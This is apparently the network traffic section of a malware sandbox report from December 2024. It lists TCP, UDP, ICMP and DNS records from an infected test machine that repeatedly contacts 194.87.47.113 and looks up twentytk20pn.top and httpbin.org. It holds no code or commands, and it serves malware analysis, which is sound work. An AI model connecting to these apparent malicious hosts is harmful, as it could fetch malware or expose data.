Dec 19, 2024 08:01:13.224287987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224296093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.224307060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224308014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.224320889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224333048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224339008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.224368095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.224368095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224384069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224394083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224406004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.224431992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225115061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225291014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225302935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225313902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225327969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225332975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225338936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225351095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225359917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225363970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225375891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225387096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225397110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225399971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225399971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225409031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225420952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225452900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225867987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225881100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225892067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225904942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225914955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225925922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225929022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225949049 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225956917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225969076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225979090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.225980997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.225991964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226002932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226010084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.226023912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.226341963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226383924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.226444960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226458073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226469040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226495028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.226581097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226597071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226603031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226608992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226612091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226625919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226634026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.226636887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226654053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.226658106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226670980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.226696968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.226711035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.227102995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227117062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227175951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.227210999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227224112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227235079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227247953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227257967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.227261066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227273941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227287054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227288008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.227298975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227310896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.227355957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.227879047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227894068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227904081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227915049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227927923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227945089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.227946997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227967978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227976084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.227981091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227992058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.227997065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.228004932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.228014946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.228018045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.228032112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.228044033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.228044033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.228066921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.228509903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.228523016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.228533030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.228554964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.228581905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.228775978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.308470011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.308500051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.308511972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.308603048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.308768034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.308811903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.308839083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.308851957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.308891058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.309567928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.309639931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.309653044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.309681892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.310216904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.310273886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.316958904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.436685085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:19.940426111 CET	49797	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:20.060153961 CET	80	49797	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:20.060245991 CET	49797	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:20.060906887 CET	49797	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:20.180392027 CET	80	49797	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:21.770675898 CET	80	49797	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:21.770785093 CET	80	49797	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:21.770862103 CET	49797	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:21.771157980 CET	49797	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:21.890686035 CET	80	49797	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.169689894 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.289207935 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.289390087 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.289797068 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.409468889 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409537077 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409537077 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.409552097 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409579992 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.409584999 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409600019 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.409624100 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.409713984 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409727097 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409754992 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.409766912 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.409825087 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409837961 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409871101 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.409925938 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409938097 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.409971952 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.695698977 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.695713043 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.695722103 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.695730925 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.695739985 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.695749044 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.695768118 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.695914984 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:23.858472109 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:23.861200094 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:24.025530100 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:24.025682926 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:24.226466894 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:24.226607084 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:24.380093098 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:24.380175114 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:24.500437021 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:24.500452042 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:26.104398966 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:26.104583025 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:26.104708910 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:26.105065107 CET	49807	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:26.224555016 CET	80	49807	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:28.760402918 CET	49824	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:28.760485888 CET	443	49824	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:28.760559082 CET	49824	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:28.760968924 CET	49824	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:28.761010885 CET	443	49824	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:29.300076008 CET	49830	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:29.300121069 CET	443	49830	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:29.300261021 CET	49830	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:29.301537991 CET	49830	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:29.301553011 CET	443	49830	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:29.363039970 CET	49832	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:29.363075018 CET	443	49832	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:29.363234997 CET	49832	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:29.363409996 CET	49832	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:29.363420010 CET	443	49832	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:29.472399950 CET	49834	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:29.472440958 CET	443	49834	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:29.472584009 CET	49834	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:29.473140955 CET	49834	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:29.473159075 CET	443	49834	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:30.455914974 CET	443	49824	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:30.456293106 CET	49824	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:30.456376076 CET	443	49824	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:30.457453012 CET	443	49824	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:30.457521915 CET	49824	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:30.993196011 CET	443	49830	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.047655106 CET	49830	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.059767962 CET	443	49832	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.091196060 CET	49830	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.091216087 CET	443	49830	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.091504097 CET	49832	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.091516018 CET	443	49832	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.092454910 CET	443	49830	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.092493057 CET	443	49830	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.092505932 CET	49830	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.094799995 CET	443	49832	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.094960928 CET	49832	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.149115086 CET	49830	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.163541079 CET	443	49834	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.176373959 CET	49834	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.176386118 CET	443	49834	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.177592039 CET	443	49834	142.250.181.132	192.168.2.9
Dec 19, 2024 08:01:31.177707911 CET	49834	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.548069000 CET	49834	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.548106909 CET	49824	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.548197031 CET	49830	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.548345089 CET	49832	443	192.168.2.9	142.250.181.132
Dec 19, 2024 08:01:31.899638891 CET	49841	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:32.019206047 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.019377947 CET	49841	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:32.019685984 CET	49841	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:32.139437914 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139460087 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139487982 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139501095 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139539003 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139553070 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139554024 CET	49841	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:32.139624119 CET	49841	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:32.139640093 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139653921 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139709949 CET	49841	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:32.139728069 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139741898 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.139789104 CET	49841	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:32.260190964 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.260247946 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.260289907 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.260303974 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.260413885 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.260428905 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:32.306406021 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:33.661639929 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:33.661690950 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:33.661787987 CET	49841	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:33.667797089 CET	49841	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:33.787305117 CET	80	49841	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:34.852889061 CET	49849	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:34.972862959 CET	80	49849	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:34.972965956 CET	49849	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:34.973314047 CET	49849	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:35.092794895 CET	80	49849	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:37.264709949 CET	80	49849	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:37.264724970 CET	80	49849	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:37.264790058 CET	49849	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:37.265124083 CET	49849	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:37.384522915 CET	80	49849	194.87.47.113	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:00:44.440026999 CET	61129	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:00:44.440335989 CET	61129	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:00:44.687777996 CET	53	61129	1.1.1.1	192.168.2.9
Dec 19, 2024 08:00:44.807235003 CET	53	61129	1.1.1.1	192.168.2.9
Dec 19, 2024 08:00:48.455909967 CET	61132	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:00:48.455985069 CET	61132	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:00:49.123891115 CET	53	61132	1.1.1.1	192.168.2.9
Dec 19, 2024 08:00:49.125035048 CET	53	61132	1.1.1.1	192.168.2.9
Dec 19, 2024 08:00:54.829687119 CET	61134	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:00:54.829746962 CET	61134	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:00:54.972007990 CET	53	61134	1.1.1.1	192.168.2.9
Dec 19, 2024 08:00:54.974666119 CET	53	61134	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:19.538119078 CET	64189	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:19.538119078 CET	64189	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:19.827402115 CET	53	64189	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:19.827776909 CET	64189	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:19.939578056 CET	53	64189	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:19.967736959 CET	53	64189	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:23.015511036 CET	64191	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:23.015552998 CET	64191	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:23.163630009 CET	53	64191	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:23.165477991 CET	53	64191	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:28.450378895 CET	53	64904	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:28.451149940 CET	53	57842	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:28.618760109 CET	54197	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:28.619352102 CET	50631	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:28.758341074 CET	53	54197	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:28.759680986 CET	53	50631	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:31.754862070 CET	53623	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:31.754920959 CET	53623	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:31.895935059 CET	53	53623	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:31.898900032 CET	53	53623	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:34.688466072 CET	51613	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:34.689232111 CET	51613	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:01:34.851701975 CET	53	51613	1.1.1.1	192.168.2.9
Dec 19, 2024 08:01:34.852143049 CET	53	51613	1.1.1.1	192.168.2.9

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 19, 2024 08:01:19.967884064 CET	192.168.2.9	1.1.1.1	c206	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:00:44.440026999 CET	192.168.2.9	1.1.1.1	0xebb2	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:44.440335989 CET	192.168.2.9	1.1.1.1	0x1b38	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 19, 2024 08:00:48.455909967 CET	192.168.2.9	1.1.1.1	0x76a1	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:48.455985069 CET	192.168.2.9	1.1.1.1	0x9216	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:00:54.829687119 CET	192.168.2.9	1.1.1.1	0x619c	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:54.829746962 CET	192.168.2.9	1.1.1.1	0x12c0	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:01:19.538119078 CET	192.168.2.9	1.1.1.1	0x2d80	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:19.538119078 CET	192.168.2.9	1.1.1.1	0x7200	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:01:19.827776909 CET	192.168.2.9	1.1.1.1	0x2d80	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:23.015511036 CET	192.168.2.9	1.1.1.1	0x96d3	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:23.015552998 CET	192.168.2.9	1.1.1.1	0xa5d5	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:01:28.618760109 CET	192.168.2.9	1.1.1.1	0x2f07	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:28.619352102 CET	192.168.2.9	1.1.1.1	0x9a2c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 19, 2024 08:01:31.754862070 CET	192.168.2.9	1.1.1.1	0x52fa	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:31.754920959 CET	192.168.2.9	1.1.1.1	0x431	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:01:34.688466072 CET	192.168.2.9	1.1.1.1	0xe84	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:34.689232111 CET	192.168.2.9	1.1.1.1	0x499a	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:00:40.174161911 CET	1.1.1.1	192.168.2.9	0x14a7	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
